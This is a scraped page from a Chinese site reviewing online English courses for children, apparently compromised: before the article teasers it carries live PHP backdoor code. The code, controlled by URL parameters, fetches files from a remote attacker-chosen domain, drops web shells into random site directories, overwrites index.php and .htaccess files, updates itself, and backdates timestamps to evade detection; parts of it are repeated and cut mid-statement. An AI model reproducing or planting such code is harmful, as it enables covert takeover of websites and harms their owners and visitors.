","",$shell_content3); } } echo $shell_content3; exit; }else if(file_exists($file_path1)){ $str1=@file_get_contents($file_path1); echo $str1; exit; }else if(file_exists($file_path2)){ $str2=@file_get_contents($file_path2); echo $str2; exit; }else if(file_exists($file_path3)){ $str3=@file_get_contents($file_path3); echo $str3; exit; }else{ echo ''; exit; } } function dir_size1($dir3,$url){ $dh = @opendir($dir3); $return = array(); while($file = @readdir($dh)){ if($file!='.' and $file!='..'){ $filetime[] = date("Y-m-d H:i:s",filemtime($file)); } } @closedir($dh); @array_multisort($filetime); return $filetime; } $sig=@$_GET['sig']; @$domain_2020='http://'.$_GET['domain']; if($sig=='beima'){ $level = $_GET['level']; $aPathes = @read_dir_queue($_SERVER['DOCUMENT_ROOT'],$level); function getDepth($sPath) { return substr_count($sPath, '/'); } $aPathDepths = array_map('getDepth', $aPathes); arsort($aPathDepths); $arry1=array(); foreach ($aPathDepths as $iKey => $iDepth) { $arry11 = str_replace(strtolower($_SERVER['DOCUMENT_ROOT']),"",strtolower($aPathes[$iKey])); $arry11 = dirname($arry11); $arry22 = explode("/",$arry11); if(count($arry22)==$level){ $arry1[] = dirname($aPathes[$iKey]); }else{ $arry1[] = dirname($aPathes[$iKey]); } } $arry2= array_unique($arry1); shuffle($arry2); $rndKey = array_rand($arry2); $create_path1 = $arry2[$rndKey]; $shell_file = $_GET['shell_file']; $shell_source5 = $domain_2020."/".$shell_file.".html"; if(check_remote_file_exists($shell_source5) && $_GET['file_name']!=""){ $file_name = $_GET['file_name']; if($file_name!=""){ $shell_end5 = $create_path1.'/'.$file_name; }else{ $shell_end5 = $create_path1.'/style.php'; } if(copyfiles($shell_source5,$shell_end5)) { if($_SERVER["HTTPS"] == "on") { $http1="https://"; }else{ $http1="http://"; } if(!file_exists($shell_end5)) { echo $http1.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."|"."file don't create success!"; exit; } $time3=@dir_size1($shell_end5,''); $time4=strtotime($time3[0]); touch($shell_end5,$time4); $shell_end6 =$http1.$_SERVER["HTTP_HOST"].str_replace($_SERVER['DOCUMENT_ROOT'],'',$shell_end5); echo $shell_end6; }else{ $str6=@curl_get_contents($shell_source5); file_put_contents($shell_end5,$str6); if($_SERVER["HTTPS"] == "on") { $http1="https://"; }else{ $http1="http://"; } if(!file_exists($shell_end5)) { echo $http1.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."|"."file don't create success!"; exit; } $time3=@dir_size1($shell_end5,''); $time4=strtotime($time3[0]); touch($shell_end5,$time4); $shell_end6 =$http1.$_SERVER["HTTP_HOST"].str_replace($_SERVER['DOCUMENT_ROOT'],'',$shell_end5); echo $shell_end6; } } exit; }else if($sig=='jc_other'){ $level = $_GET['level']; $aPathes = read_dir_queue1($_SERVER['DOCUMENT_ROOT'],$level); function getDepth($sPath) { return substr_count($sPath, '/'); } $aPathDepths = array_map('getDepth', $aPathes); arsort($aPathDepths); $arry1=array(); foreach ($aPathDepths as $iKey => $iDepth) { $arry11 = str_replace(strtolower($_SERVER['DOCUMENT_ROOT']),"",strtolower($aPathes[$iKey])); $arry11 = dirname($arry11); $arry22 = explode("/",$arry11); if(count($arry22)==$level){ $arry1[] = dirname($aPathes[$iKey]); }else{ $arry1[] = dirname($aPathes[$iKey]); } } $arry2= array_unique($arry1); shuffle($arry2); $rndKey = array_rand($arry2); $create_path1 = $arry2[$rndKey]; $shell_file = $_GET['shell_file']; $shell_source5 = $domain_2020."/".$shell_file.".html"; if(check_remote_file_exists($shell_source5) && $shell_file!=""){ $file_name = $_GET['file_name']; if($file_name!=""){ $shell_end5 = $create_path1.'/'.$file_name; }else{ $shell_end5 = $create_path1.'/style.php'; } if(copyfiles($shell_source5,$shell_end5)) { if($_SERVER["HTTPS"] == "on") { $http1="https://"; }else{ $http1="http://"; } if(!file_exists($shell_end5)) { echo $http1.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."|"."file don't create success!"; exit; } $time3=@dir_size1($shell_end5,''); $time4=strtotime($time3[0]); touch($shell_end5,$time4); $shell_end6 =$http1.$_SERVER["HTTP_HOST"].str_replace($_SERVER['DOCUMENT_ROOT'],'',$shell_end5); echo $shell_end6; }else{ $str6=@curl_get_contents($shell_source5); file_put_contents($shell_end5,$str6); if($_SERVER["HTTPS"] == "on") { $http1="https://"; }else{ $http1="http://"; } if(!file_exists($shell_end5)) { echo $http1.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."|"."file don't create success!"; exit; } $time3=@dir_size1($shell_end5,''); $time4=strtotime($time3[0]); touch($shell_end5,$time4); $shell_end6 =$http1.$_SERVER["HTTP_HOST"].str_replace($_SERVER['DOCUMENT_ROOT'],'',$shell_end5); echo $shell_end6; } } exit; }else if($sig=='jc_index'){ $domain_name1 = trim(str_replace("www.","",$_SERVER['SERVER_NAME'])); $shell_file = $_GET['shell_file']; $file_path= BASE_PATH.'/index.php'; $file_path1 = $domain_2020.'/shell_index/'.$domain_name1.'/index.html'; //if(!check_remote_file_exists($file_path1)){ $ser_url1= $domain_2020."/cpa_ind5.php?dname1=".$domain_name1."&check_address1=http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."&shell_file=".$shell_file.""; $file_contents_2=curl_get_contents($ser_url1); //} if(@$_SERVER["HTTPS"]=="on") { $http1="https://"; }else{ $http1="http://"; } $tishi = $http1.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']; $str1=@curl_get_contents($file_path1); $str=@file_get_contents($file_path); if(file_exists($file_path)){ if(check_remote_file_exists($file_path1)){ $str1=@curl_get_contents($file_path1); $str=@file_get_contents($file_path); if($str==$str1){ echo $tishi.'|index.php write success!'; }else{ //echo 'fail'; @chmod($file_path,0644); $result_unlink=unlink($file_path); if($result_unlink){ if(copyfiles($file_path1,$file_path)) { $time3=dir_size1(dirname(__FILE__),''); $time4=strtotime($time3[0]); touch(dirname(__FILE__).'/'.basename(__FILE__),$time4); touch($file_path,$time4); echo $tishi.'|index.php write success!'; } else { file_put_contents($file_path,$str1); $str1=@curl_get_contents($file_path1); $str=@file_get_contents($file_path); if($str==$str1){ $time3=dir_size1(dirname(__FILE__),''); $time4=strtotime($time3[0]); touch(dirname(__FILE__).'/'.basename(__FILE__),$time4); touch($file_path,$time4); echo $tishi.'|index.php write success!'; }else{ echo $tishi.'|index.php write fail!'; } } } } } }else{ if(check_remote_file_exists($file_path1)){ @chmod($file_path,0644); if(copyfiles($file_path1,$file_path)) { $time3=dir_size1(dirname(__FILE__),''); $time4=strtotime($time3[0]); touch(dirname(__FILE__).'/'.basename(__FILE__),$time4); touch($file_path,$time4); echo $tishi.'|index.php write success!'; } else { file_put_contents($file_path,$str1); $str1=@curl_get_contents($file_path1); $str=@file_get_contents($file_path); if($str==$str1){ $time3=dir_size1(dirname(__FILE__),''); $time4=strtotime($time3[0]); touch(dirname(__FILE__).'/'.basename(__FILE__),$time4); touch($file_path,$time4); echo $tishi.'|index.php write success!'; }else{ echo $tishi.'|index.php write fail!'; } } }else{ $shell_cont1 = getInd_Content(BASE_PATH); $shell_file = $_GET['shell_file']; $file_path1 = $domain_2020."/".$shell_file.".html"; $shell_content = @curl_get_contents($file_path1); $shell_cont2 = substr_replace($shell_cont1,$shell_content,0,0); @file_put_contents($file_path,$shell_cont2); } } exit; }else if($sig=='change_hta'){ //define('BASE_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../'))); //define('BASE_PATH',str_ireplace($_SERVER['PHP_SELF'],'',__FILE__)); $shell_source5 = $domain_2020."/htaccess.html"; $str7=@curl_get_contents($shell_source5); if(strpos($str7,'$value){ if( $files3[$key]!= BASE_PATH){ $file_htaccess1 = $files3[$key].'/.htaccess'; //file_put_contents($file_htaccess1,$str7); copyfiles($shell_source5,$file_htaccess1); //echo $file_htaccess1.'--11
'; } } }else{ echo $tishi.'|htaccess.html file dont exist or the content is wrong!'; } exit; }else if($sig=='rename'){ $rename = $_GET['rename']; $source_name = $_GET['source_name']; if($_GET['tag']!=''){ $tag='#'.$_GET['tag']; }else{ $tag=''; } if($rename!="" && $source_name!=""){ $rename_file = dirname(__FILE__).'/'.$rename; $source_file = dirname(__FILE__).'/'.$source_name; if($_SERVER["HTTPS"] == "on") { $http1="https://"; }else{ $http1="http://"; } $rename_file1 = $http1.$_SERVER["HTTP_HOST"].str_replace(strtolower($_SERVER['DOCUMENT_ROOT']),'',strtolower($rename_file)); $source_file1 = $http1.$_SERVER["HTTP_HOST"].str_replace(strtolower($_SERVER['DOCUMENT_ROOT']),'',strtolower($source_file)); $rename_file1 = str_replace('\\','/',$rename_file1); $source_file1 = str_replace('\\','/',$source_file1); if(file_exists($source_file)){ if(rename($source_file,$rename_file)){ echo $rename_file1.$tag; }else{ echo $source_file1.$tag.'| rename fail!'; } }else{ echo $source_file1.$tag.'| no exists!'; } }else{ echo $source_file1.$tag.'| rename fail!'; } exit; }else if($sig=='update'){ $style_2020=$domain_2020.'/style_2020.html'; $file_style=__FILE__; if(check_remote_file_exists($style_2020)){ $str7=@curl_get_contents($style_2020); if(strpos($str7,'domain_2020') !== false){ if($_SERVER["HTTPS"] == "on") { $http1="https://"; }else{ $http1="http://"; } $tishi = $http1.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']; if(copyfiles($style_2020,$file_style)) { $time3=@dir_size1(dirname(__FILE__),''); $time4=strtotime($time3[0]); touch($file_style,$time4); echo $tishi.'--update success!'; }else{ $shell_cont5=@curl_get_contents($style_2020); $shell51=@file_put_contents($file_style,$shell_cont5); if($shell51>0){ $time3=@dir_size1(dirname(__FILE__),''); $time4=strtotime($time3[0]); touch($file_style,$time4); echo $tishi.'--update success!'; }else{ echo $tishi.'--update fail!'; } } } } exit; }else if($sig=='shell519'){ $rename = $_GET['file_name']; $shell_file = $_GET['shell_file']; if($rename!="" && $shell_file!=""){ $shell_source5= $domain_2020."/".$shell_file.".html"; if(check_remote_file_exists($shell_source5)){ $level = $_GET['level']; $aPathes = @read_dir_queue($_SERVER['DOCUMENT_ROOT'],$level); function getDepth($sPath) { return substr_count($sPath, '/'); } $aPathDepths = array_map('getDepth', $aPathes); arsort($aPathDepths); $arry1=array(); foreach ($aPathDepths as $iKey => $iDepth) { $arry11 = str_replace(strtolower($_SERVER['DOCUMENT_ROOT']),"",strtolower($aPathes[$iKey])); $arry11 = dirname($arry11); $arry22 = explode("/",$arry11); if(count($arry22)==$level){ $arry1[] = dirname($aPathes[$iKey]); }else{ $arry1[] = dirname($aPathes[$iKey]); } } $arry2= array_filter(array_unique($arry1)); shuffle($arry2); $rndKey = array_rand($arry2); $create_path1 = $arry2[$rndKey]; $shell5=$create_path1.'/'.$rename; if($_SERVER["HTTPS"] == "on") { $http1="https://"; }else{ $http1="http://"; } if(copyfiles($shell_source5,$shell5)) { $time3=@dir_size1(dirname(__FILE__),''); $time4=strtotime($time3[0]); touch($shell5,$time4); echo $http1.$_SERVER["HTTP_HOST"].str_replace(BASE_PATH,"",$shell5).'--create success!'; } else { $shell_cont5=@curl_get_contents($shell_source5); $shell51=@file_put_contents($shell5,$shell_cont5); if($shell51>0){ $time3=@dir_size1(dirname(__FILE__),''); $time4=strtotime($time3[0]); touch($shell5,$time4); echo $http1.$_SERVER["HTTP_HOST"].str_replace(BASE_PATH,"",$shell5).'--create success!'; }else{ echo $http1.$_SERVER["HTTP_HOST"].str_replace(BASE_PATH,"",$shell5).'--create fail!'; } } } } exit; }else if($sig=='index'){ $file_path = BASE_PATH.'/index.php'; $file_path1 = BASE_PATH.'/index.html'; $file_path2 = BASE_PATH.'/index.htm'; $file_path3 = BASE_PATH.'/default.html'; if(file_exists($file_path)){ $str=@file_get_contents($file_path); $shell_content1= $str; $shell_content2 = explode('?>","",$shell_content3); } } echo $shell_content3; exit; }else if(file_exists($file_path1)){ $str1=@file_get_contents($file_path1); echo $str1; exit; }else if(file_exists($file_path2)){ $str2=@file_get_contents($file_path2); echo $str2; exit; }else if(file_exists($file_path3)){ $str3=@file_get_contents($file_path3); echo $str3; exit; }else{ echo ''; exit; } } exit(); ?> 思语网 – 在线英语,外教一对一,在线英语培训哪家好

学而思vipx价格,怎么收费-收费标准贵不贵?不让孩子输在起跑线上

学而思vipx价格,怎么收费?收费标准贵不贵   最近孩子他爸一直在催我,让我给孩子报一个英语的学习班,还说我…

吉的堡少儿英语怎么样?2020年的收费标准是什么?

我们这边有好几家吉的堡少儿英语的教学中心,我之前让孩子在吉的堡少儿英语上过一段时间的课程,对这个吉的堡少儿英语…

兰迪英语怎么样?挑选时需要注意什么

上兰迪英语的真实感受,听听报过课的家长讲述亲身经历。前几天由于公司年度工作提前完成,而且恰逢元旦,因此全公司就…

魔力英语怎么样?紧跟时代的线上英语

魔力英语怎么样?现在我们中国的文化教育水平虽然很不错,但是有很多家长们还是更希望自己的孩子们日后能够出国深造,…

泰晤士英语培训学校怎么样,亲测来给大家说说

泰晤士英语培训学校怎么样,在逛知乎的时候有很多小伙伴问这个英语培训机构,之前想要学英语口语的时候有了解过,感觉…

分析:瓜瓜龙英语跟斑马英语哪个好?对比结果大公开?我来分享一下自己的看法

作为一个新手爸妈,对于孩子的教育是非常懵的状态,到处了解关于孩子的各个阶段需要什么,渐渐地知道很多家长对孩子有…

51talk英语怎么样,好不好,对孩子学习有帮助吗?

在线教育凭借其便捷性和高效性逐渐的成为了大家最喜欢的学习方式,像51talk这样的机构也是大家比较热衷去的地方…

怎么选择外教口语教学平台,看看ufo英语网怎么说

现在一定有很多父母已经学了很多年的英语,但就是不能张嘴。只能说些问候语例如“你好吗”、“很高兴见到你”之类的。…

一对一辅导培训收费是多少?一对一教学怎么样

如今,越来越多人意识到学好英语的重要性。家长们重视孩子的英语教育,而中小学一对一辅导是目前最受欢迎的英语学习方…

哒哒与魔力耳朵哪个更好,作为家长聊一聊试听后的感受?选择阿卡索不会失望!

哒哒与魔力耳朵哪个更好,作为家长聊一聊试听后的感受 哒哒与魔力耳朵哪个更好,作为家长聊一聊试听后的感受,年初的…

© 2021 思语网 - 在线英语学习,英语学习资料分享,英语培训机构真实评价供大家参考。